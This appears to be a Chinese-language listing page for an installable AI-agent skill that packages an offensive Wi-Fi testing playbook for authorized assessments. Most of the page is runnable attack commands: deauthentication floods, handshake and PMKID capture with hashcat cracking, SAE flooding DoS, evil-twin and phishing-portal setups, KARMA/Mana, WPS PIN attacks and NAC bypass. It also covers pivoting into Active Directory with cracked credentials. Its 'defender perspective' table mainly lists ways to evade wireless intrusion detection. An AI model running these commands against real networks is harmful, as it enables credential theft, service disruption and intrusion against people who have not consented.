关于 offensive-wifi
面向授权安全评估的无线网络测试方法指南,涵盖 802.11 侦察、认证测试和相关无线技术。内容包含适配器选择、常见测试路径、工具命令及防御检测信息。
主要功能
- 01无线适配器与监控模式选择
- 02802.11 网络侦察流程
- 03WPA、WPA3 与 WPS 测试参考
- 04企业认证与恶意 AP 测试
- 05KRACK 和 FragAttacks 检查
- 06检测与防御视角参考
适用场景
- 01规划授权 Wi-Fi 安全评估
- 02检查 WPA/WPA3 网络配置与风险
- 03评估企业 802.1X 认证设置
- 04了解无线攻击的检测线索
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-wifi安装后在 Claude Code 中输入/offensive-wifi确认已加载。
详细介绍
无线 / 802.11 — 攻击性测试方法
快速工作流
- 选择合适的适配器(监控模式 + 注入 + 目标所用的正确频段/PHY)
- 被动侦察无线环境 — 未了解拓扑前,切勿发送解除认证帧
- 选择攻击方式:握手捕获、PMKID、恶意双胞胎、KARMA 或 WPS
- 离线破解;不要依赖在线字典攻击
- 如果是 WPA-Enterprise,通过窃取的凭据或恶意 RADIUS 进行横向转移
硬件与适配器选择
| 芯片组 | 优势 | 备注 |
|---|---|---|
| Atheros AR9271 (Alfa AWUS036NHA) | 稳定支持 2.4 GHz 监控 + 注入 | 仅支持 802.11n |
| Realtek RTL8812AU (AWUS036ACH) | 双频段,支持注入 | 驱动:aircrack-ng/rtl8812au |
| MediaTek MT7612U (AWUS036ACM) | 双频段稳定 | 已集成于现代内核 |
| MediaTek MT7921AU | 支持 Wi-Fi 6 监控(有限) | 需要打过补丁的驱动 |
| AWUS036AXML / AXM | Wi-Fi 6E(6 GHz) | 前沿技术 — 请按发布版本验证 |
# Verify monitor + injection
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo aireplay-ng --test wlan0mon
iw list | grep -A 8 "Supported interface modes"
侦察
# Multi-channel discovery (all bands)
sudo airodump-ng wlan0mon --band abg
# Targeted on a known channel/BSSID
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon
# Hidden SSID — wait for client probe or force deauth
sudo airodump-ng -c 6 --essid-regex "." wlan0mon
# Wigle / Kismet for war-driving
kismet -c wlan0mon
需要记录的关键数据: BSSID、ESSID、信道、加密方式、PMF 状态、客户端列表、RSSI、厂商 OUI。
WPA / WPA2-PSK
捕获四次握手
# Targeted capture
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# Force a reconnect (deauth one client, do not blanket the AP)
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon
验证 EAPOL 帧是否可用:
hcxpcapngtool -o hash.hc22000 handshake-01.cap
PMKID(不需要客户端)
PMKID 位于 AP 到站点的第一条消息中 — 即使没有设备连接,也可以获取。
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng \
--enable_status=1 --filterlist_ap=targets.txt --filtermode=2
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
破解
# GPU dictionary attack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule
# Mask attack (e.g. carrier defaults: 10 digits)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d?d?d
# Known SSID-based defaults (e.g. UPC, Sky, BTHub generators)
upc_keys ESSID | hashcat -m 22000 hash.hc22000 -
WPA3 / SAE
过渡模式降级
如果 AP 同时广播 WPA2 和 WPA3(过渡模式),可通过伪造仅包含 RSN 的信标,迫使客户端切换到 WPA2,并以 PSK 方式捕获。
Dragonblood (CVE-2019-9494/9495/13377)
针对 SAE 的侧信道和降级攻击。未充分进行曲线多样化的旧版 hostapd(<2.10)可能通过时序/缓存攻击泄露密码元素。
# Reference implementation
git clone https://github.com/vanhoefm/dragonblood
python3 dragondrain.py wlan0mon AA:BB:CC:DD:EE:FF
python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon
SAE 认证泛洪(资源耗尽)
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF -m -s 1024
# Triggers heavy crypto on AP CPU; can DoS lower-end deployments
WPA-Enterprise (802.1X / EAP)
方法识别
# Watch initial EAP-Request/Identity to fingerprint method
tshark -i wlan0mon -Y "eapol || eap" -V
| 内部方法 | 攻击 |
|---|---|
| EAP-MSCHAPv2 (PEAP/TTLS) | 离线破解 NetNTLMv1 式质询 |
| EAP-GTC | 明文密码 — 通过恶意 RADIUS 捕获 |
| EAP-TLS | 窃取客户端证书(通常位于用户钥匙串 / DPAPI / NDES 中) |
| EAP-PWD | Dragonblood 级别的侧信道 |
恶意双胞胎 RADIUS (MSCHAPv2 / GTC)
# eaphammer — automated rogue AP + RADIUS
eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF \
--auth wpa-eap --creds
# Captured hashes → asleap or hashcat -m 5500
asleap -C challenge -R response -W wordlist.txt
关键: 未在 supplicant 上固定服务器证书 + CN 的组织容易受到攻击。禁用了 ServerValidation 的 Win10/11(BYOD 场景中很常见)会交出凭据。
EAP-TLS 证书窃取途径
- 从用户配置文件中获取 DPAPI 主密钥 + 证书 blob(
%APPDATA%\Microsoft\SystemCertificates) - NDES 配置错误(ESC8 级别的证书请求滥用)
- 具有弱 ACL 的 ADCS 用户自动注册模板
WPS
Pixie Dust(离线)
# Capture WPS exchange
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# Or
bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
易受攻击的芯片组:Ralink、Realtek、Broadcom(较旧固件)、MediaTek(特定修订版)。当随机数可预测时,Pixiewps 可在数秒内恢复 PIN。
在线 PIN 暴力破解(最后手段)
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -L -N -d 15 -t 30 -T .5 -r 3:30
# Most modern APs lock out after a few failures — slow and noisy
恶意双胞胎 / KARMA / Mana
标准恶意双胞胎(强制门户)
# wifiphisher — automated AP + phishing portal
sudo wifiphisher --essid CorpWiFi --noextensions --force-hostapd
# airgeddon — interactive menu (good for one-off engagements)
sudo airgeddon
KARMA / Mana(探测利用)
较旧的站点会广播 PNL(首选网络列表)探测请求。KARMA 会对任何请求都回复“是”;Mana 会选择一个看起来真实的 ESSID 并始终如一地响应,以绕过 MAC 随机化。
# hostapd-mana
sudo hostapd-mana ./mana.conf
# Combine with rogue RADIUS for enterprise nets
eaphammer -i wlan0 --known-beacons --known-ssids-file ssids.txt \
--auth wpa-eap --creds --hostile-portal
绕过 MAC 随机化
iOS/Android 会随机化 MAC,但会泄露每个 SSID 对应的稳定 ID。按序列号和时间对探测请求进行聚类,以重新识别设备。
KRACK 与 FragAttacks
| 攻击 | 类别 | 目标 |
|---|---|---|
| KRACK (CVE-2017-13077..082) | 密钥重装 | 未打补丁的 WPA2 supplicant |
| FragAttacks (CVE-2020-24586..588) | 分片/聚合 | 大多数 2021 年之前的实现 |
测试网络的补丁状态:
# Vanhoef test scripts
git clone https://github.com/vanhoefm/krackattacks-scripts
./krack-test-client.py
git clone https://github.com/vanhoefm/fragattacks
./test-fragattacks.py wlan0
解除认证 / 解除关联攻击
# Single client deauth (use for handshake capture)
aireplay-ng --deauth 3 -a AP -c CLIENT wlan0mon
# Broadcast (DoS — only with explicit authorization)
mdk4 wlan0mon d -B target_bssids.txt
# Disassoc + auth flood combo (kicks then prevents reconnect)
mdk4 wlan0mon a -a AP_BSSID -m
802.11w (PMF) 可阻止未加密的解除认证。大多数现代企业 AP 都要求启用此功能。不支持 PMF 的客户端仍可通过 Action 帧被踢下线。
802.1X / 有线 NAC 绕过(相关)
# Sniff valid 802.1X exchange on wired side
tcpdump -i eth0 -w nac.pcap ether proto 0x888e
# silentbridge / nac_bypass — transparently bridge through an authenticated host
git clone https://github.com/s0lst1c3/silentbridge
silentbridge --takeover --phy wlan0 # variants for wired
Wi-Fi 6 / 6E / 7 注意事项
- 6 GHz(Wi-Fi 6E) 禁用仅支持 WPA2 的模式;必须使用 WPA3 + PMF。规范已缓解许多攻击。
- OFDMA / MU-MIMO:传统注入通常会与 RU 分配错位 — 请在测试台上验证数据包是否送达。
- TWT(目标唤醒时间):取消认证窗口各不相同;注入前请观察 BA 会话。
- MLO(Wi-Fi 7):单个客户端通过多个链路通信 — 捕获必须涵盖所有链路,才能还原完整会话。
旁带与相邻无线技术
| 技术 | 工具 | 备注 |
|---|---|---|
| Bluetooth Classic | redfang, crackle, btproxy | LMP/L2CAP 模糊测试 |
| BLE | bettercap, Sniffle (TI CC1352), Frontline | GATT 枚举、降级 LE Secure Connections |
| Zigbee / 802.15.4 | KillerBee, apimote, ATUSB | 滥用 Touchlink 配网 |
| Z-Wave | Z-Force, EZ-Wave | S0 密钥重用漏洞类别 |
| LoRa / LoRaWAN | LoRaPWN, ChirpStack | 重放入网请求、重用 ABP 密钥 |
| 433/868 MHz(Sub-GHz) | HackRF / Flipper Zero | 车库门、门铃、遥测 |
入侵后 RADIUS / 后端跳板
# If you crack a domain user via PEAP-MSCHAPv2, pivot to AD
nxc smb dc -u captured_user -p cracked_pass --pass-pol
# If RADIUS server is stand-alone (FreeRADIUS), check users file & MOTP secrets
# If on Windows NPS, pivot via the service account context
测试速查表
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
sudo iw reg set US
# 2. Recon (do not deauth yet)
sudo airodump-ng wlan0mon --band abg --write recon
# 3. PMKID sweep (passive)
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
# 4. Targeted capture if PMKID empty
sudo airodump-ng -c <ch> --bssid <AP> -w cap wlan0mon &
sudo aireplay-ng --deauth 3 -a <AP> -c <client> wlan0mon
# 5. Crack offline
hashcat -m 22000 hash.hc22000 wordlist.txt -r best64.rule
# 6. If enterprise → eaphammer evil twin
# 7. Document SSID, BSSID, channel, RSSI, encryption, attack used, time
检测 / 防御方视角
| AP/WIDS 检测器 | 触发条件 | 规避方式 |
|---|---|---|
| 过量取消认证 | 单个来源 MAC 每秒发送 >5 个取消认证帧 | 使用伪造 MAC 分散发送,逐个定向目标 |
| 恶意 AP 检测 | 受监控信道上出现未经授权的 BSSID | 完全匹配真实 BSSID 的信标时序 / IE 顺序 |
| Karma 响应异常 | AP 响应所有探测 SSID | 使用 Mana 模式,选择一个合理的 SSID |
| WPS 锁定 | PIN 多次验证失败 | 仅离线使用 Pixie Dust,放弃在线暴力破解 |
| RADIUS 日志:证书不匹配 | 客户端拒绝恶意双胞胎证书 | 使用受害者 CA 签名证书的副本(不太可能) |
关键参考资料
- MITRE ATT&CK:T1200(硬件添加)、T1557.004(通过恶意双胞胎实施 AiTM)
- IEEE 802.11-2020(包含 KRACK 缓解措施的合并规范)
- WPA3 规范 / Wi-Fi Alliance:通过 dragonblood.net 跟踪漏洞
- hcxtools / hashcat WPA 模式:文档见 hashcat.net
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md